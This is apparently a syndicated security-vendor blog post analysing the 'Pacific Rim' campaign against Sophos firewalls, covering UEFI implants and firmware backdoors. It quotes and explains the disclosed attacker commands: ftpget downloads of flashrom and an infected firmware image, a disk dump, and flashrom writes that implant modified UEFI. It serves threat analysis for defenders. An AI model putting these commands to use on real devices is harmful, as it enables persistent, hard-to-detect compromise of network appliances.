Contributors to this post: Mickey Shkatov, Alex Bazhaniuk
Last week, Sophos released a bombshell report on what they’re calling “Pacific Rim”—and no, we’re not talking about giant robots fighting sea monsters. Sophos chronicles a five-year ordeal involving nation-state threat actors targeting network appliances, particularly Sophos firewalls. The discovery has been documented in a series of six articles from Sophos:
Sophos has been playing an intense game of cat and mouse with multiple China-based threat groups. Specifically APT31, APT41/Winnti, and our old friend Volt Typhoon. After extensively reviewing all the documentation published by Sophos, it appears that threat actors have been throwing everything but the kitchen sink at Sophos firewalls, including botnets, zero-days, custom malware, firmware backdoors, and UEFI implants. Sophos refers to implants as “UEFI bootkits.” However, bootkits refer to the modification of bootloaders, where implants are specific to UEFI modification (and UEFI modification is what is occurring according to the information released by Sophos). The UEFI implants, of course, caught our attention immediately. The threat actors were testing a UEFI implant on select targets. UEFI implants have been observed in the wild for some time (see our Firmware Attack Timeline), but this is the first time they have been observed on a firewall. We’ve done a preliminary analysis of what has been disclosed so far and conducted some of our own research. See the technical details section for more information.
Sophos traced much of the exploit development back to educational institutions in Sichuan, China. It looks like they’ve got themselves a facility that is churning out zero-days and specific zero-days that provide attackers access to firewall appliances:
“Beginning in early 2020 and continuing through much of 2022, the adversaries spent considerable effort and resources to engage in multiple campaigns to discover and then target publicly reachable network appliances.”
The reasons? I’ve been outlining the reasons for some time. When I read the paragraph below, I was taken back to my 2010 Brucon presentation, which covered the same topics (Embedded system hacking and my plot to take over the world). Sophos, equipped with real-world evidence collected over a 5-year period, states the following:
“Unprivileged devices such as that videoconferencing gear are a favorite for adversaries in the modern era as they are often unmonitored, purpose-built, and overpowered. They do something simple like drive a display, yet they have the full computing power of a powerful workstation from only ten years ago. The excess power, plus lack of monitoring and available security software, are the perfect combination to remain hidden, gain persistence, and do research into other more valuable assets. The call is coming from inside the house…”
Sophos is highlighting several issues in just this statement related to IoT devices and network appliances:
The attackers started off noisy, trying to build what Sophos calls “operational relay boxes” or ORBs. I believe we can differentiate this term from C2 (C&C, or Command and Control) as an ORB in this context allows attackers to transmit and route different types of data, not just the botnet-related command and control commands. By routing attacks through systems such as firewalls, they were able to conceal the true origin of their attacks. Again, traffic can be more easily concealed on Internet-facing systems such as firewalls, and the firewalls themselves are difficult to analyze as part of a digital forensics/incident response process.
Sophos didn’t just sit back and take it, though. They went counteroffensive, improving their telemetry, detection, and response capabilities. They even started treating their customers’ firewalls like an extension of Sophos, monitoring the whole fleet for signs of compromise.
But here’s the kicker—many customers weren’t applying patches and updates quickly enough. Sophos CEO Joe Levy is calling for a change in how we handle network security device maintenance. He says that automatic updates and hotfixes need to become non-optional for firewalls. It’s a spicy take, but in this threat landscape, he might be onto something.
The big takeaway is that all devices are fair game and no one’s too small to be a target anymore. These nation-state actors aren’t just after large companies and government organizations—they’re compromising anything they can to build obfuscation networks and cause general chaos. The techniques were not all unique to nation-state attackers either. The UEFI implant was based on code leaked by Hacking Team. While Hacking Team was developing and selling offensive tools to governments and law enforcement agencies worldwide, the Pacific Rim attackers modified the VectorEDK code to operationalize it on the targets in this campaign. I believe we tend to incorrectly categorize UEFI attacks as only used by nation-states and exclusively used to target the public sector. We’ve learned so far from Pacific Rim that we’re operating under misconceptions. The UEFI implant code that was used in this campaign was posted online 10 years ago, providing attackers of all origins and motives ample time to operationalize. The target organizations were not all military and government. If you have a vulnerable system, like the Sophos firewall, you are a target, and locally stored credentials from your environment were collected for good measure.
In-memory malware and UEFI implants have been available for some time, so why haven’t attackers been observed more consistently? This is due, in part, to poor visibility into low-level components, including hardware and firmware, that come pre-built into your systems. Attackers may be leveraging this attack surface, but we’re not catching it (as evidenced by the 5-year timeline). We can also assume that since attacks on such devices are more prevalent than what we detect, they are likely targeting more than just Sophos devices. One could also argue attackers haven’t had to because other controls are not in place or configured correctly. One article states that blue teams have “home-field advantage” in this situation:
“ A world in which attackers are compelled to find ways to dwell in memory and use UEFI bootkits for persistence is a world in which most defenders would, again, say they had a home-field advantage.”
Defenders always have the home-field advantage by default, as attackers are playing on their networks and systems. However, UEFI attacks can be leveraged to level the playing field, allowing threat actors to hide from defenders more easily, bypass security mechanisms (such as Secure Boot), and persist across system rebuilds. The attack timeline and the persistence potentially achieved by threat actors may have been a factor in the May 2023 incidents reported by Barracuda. While no concrete evidence has been published, an investigation was done by Google’s Mandiant division; it was attributed to Chinese-based threat actors, and the remediation recommended in this case was for customers to replace physical hardware. UEFI implants are likely the suspect in the Barracuda case. If anything, UEFI attacks give threat actors the ability to create their own playing field and play ball without anyone noticing.
Moving up the stack, Sophos observed another activity during this campaign: firmware backdoor implants. While full technical details have not yet been released, Sophos states the following:
“While the remote shell was unremarkable, X-Ops identified a persistence technique not previously observed. Using the open-source tool plthook, the attackers inserted a hook into the firmware upgrade process (T1037.002). The hook wrote the backdoor into the temporary partition used for the new firmware before the device rebooted, allowing it to survive firmware upgrades (though the device could be recovered by flashing the firmware using an external USB drive).”
What’s interesting about the technique described above is the attackers were able to make sure their malicious software survived firmware upgrades. The technique uses an open-source tool (plthook) that essentially allows threat actors to select a function call, spoof said function call, and execute code of the attacker’s choosing. The attackers likely “hooked” the upgrade function to call code that essentially states, “Every time there is a firmware update, put these programs in a temporary partition, then put it back into the system during the update process. Refer to some of our previous research to see how attackers have accomplished this in the past (Pwned Balancers: Commandeering F5 and Citrix for Persistent Access & C2).
Another interesting attack vector was how the attackers were able to bypass firmware integrity checks:
“To bypass integrity checks, the attacker also swapped out the binaries that verify the cryptographic signature in the firmware (T1027.001).“
Modifying cryptographically signed firmware can be challenging, but by design, it is intended to prevent tampering with the firmware components. Rather than attempting to find a hash collision or obtain the private key(s), the attackers opted for something simpler. They swapped out the binaries that performed the cryptographic checks. In this attack scenario, the firmware image can change, but since the programs intended to verify the signature were modified, the firmware always passed the checks (perhaps the binaries just always returned “signature verified”). Secure Boot has been circumvented in similar ways, e.g., if an attacker can exploit a vulnerability or configuration weakness to gain access to a system early enough in the boot process, they would simply modify UEFI to always return “True” when programs are being verified.
One of the areas we spent a significant amount of time analyzing was the commands the attackers ran to deploy the UEFI implant (Commands were disclosed in the post: Pacific Rim timeline: Information for defenders from a braid of interlocking attack campaigns). My colleague on our threat research team, Mickey Shkatov, put together a short demo of the UEFI implant and verified that it does work on a Sophos XG series firewall:
To get a better understanding of how the attack may have played out in the Pacific Rim attacks, let’s look at each command individually:
ftpget -u admin -p password 10.10.10[.]110 ./flashrom ./flashrom
This command downloads a copy of the Flashrom utility and saves it to a local file of the same name. Flashrom is a utility that can communicate with various types of flash storage using various communication interfaces. For example, it can communicate with the SPI flash chip that stores the BIOS/UEFI.
ftpget -u admin -p password 10.10.10[.]110 xg210-remove-dxe-guard-bds-infected.bin xg210-remove-dxe-guard-bds-infected.bin
This command downloads a firmware file. Based on the filename, we can infer the following:
chmod 777 flashrom { dd bs=392446464 skip=1 count=1; cat; } < /dev/sda > ./ext4_1_19.img
./flashrom -p internal -c “Opaque flash chip”
./flashrom -p internal -c “Opaque flash chip” -r xg210-read.bin
./flashrom -p internal -c “Opaque flash chip” -w xg210-remove-dxe-guard.bin
If we presume that the attackers were targeting a Sophos XG 210 firewall, we can do some testing on our own to validate some of the findings. However, the “xg210” is merely a string contained in a filename, not strong evidence that this device was targeted by attackers as filenames are just that, arbitrary names for files. Running under the assumption that the target devices were, at the very least, XG-series devices, we can start to find artifacts to support our theory.
Several Sophos XG-series firewalls are available for sale on Ebay and forum postings and other outlets contain pictures of the internals. For example, we’ve confirmed that XG-series firewalls are Intel platforms, as evidenced by a screenshot of pfSense running on the appliance from this Ebay listing:
So far, this information validates some of our findings as this platform is Intel-based, would support software and features such as UEFI, Intel Boot Guard, UEFI Secure Boot, and contains SPI flash chips that can be interfaced with using the commands shown above. While safeguards exist to prevent attackers from deploying malicious UEFI code, we must understand a little about them before theorizing if attacks would be successful in the wild:
Intel Boot Guard – At a high level, Intel Boot Guard was developed to protect the boot process (before Secure Boot begins validating components), including preventing unauthorized modifications to UEFI (For a slightly more in-depth explanation, see the post The Keys to the Kingdom and the Intel Boot Process). The commands disclosed by Sophos that are detailed previously in this article showed an attacker using flashrom to modify UEFI, which should be prevented by Boot Guard. Also, if attackers were able to modify the SPI flash where BIOS/UEFI is stored there could also be missing SPI flash protections (See Protecting System Firmware Storage and Firmware Security Realizations – Part 3 – SPI Write Protections for more technical details). So, how could this attack be successful? Some possible scenarios include:
Secure Boot – At first glance I was curious if Secure Boot was enabled on the Sophos firewalls and if/how attackers were able to bypass Secure Boot. A couple of points after further review:
While much has been disclosed about the Pacific Rim attacks and threat actors, there are still some missing details (likely due to ongoing investigations). We will continue to conduct our own analysis and review any new information that is posted regarding this campaign. In the meantime, defenders can do the following to be more resilient:
Eclypsium customers can utilize our platform to detect UEFI implants and/or bootkits.
Pacific Rim is actively targeting networking applications with UEFI-level implants. Networking devices are essential for global communication, yet their supply chains are fraught with complexities and vulnerabilities. The production of these devices involves numerous players, including component manufacturers, software developers, and system integrators, creating a convoluted ecosystem.
Transparency and regular security audits are essential for device manufacturers. Adopting secure development practices and verifying component integrity can also strengthen the supply chain. Implementing and enforcing robust security standards across our industry is crucial. Collaboration among manufacturers, developers, regulators, and consumers is vital to effectively addressing these challenges. Shedding light on these hidden complexities allows us to take steps toward a more secure and trustworthy networking infrastructure.
The post Pacific Rim: Chronicling a 5-year Hacking Escapade appeared first on Eclypsium | Supply Chain Security for the Modern Enterprise.
*** This is a Security Bloggers Network syndicated blog from Eclypsium | Supply Chain Security for the Modern Enterprise authored by Paul Asadoorian. Read the original post at: https://eclypsium.com/blog/pacific-rim-chronicling-a-5-year-hacking-escapade/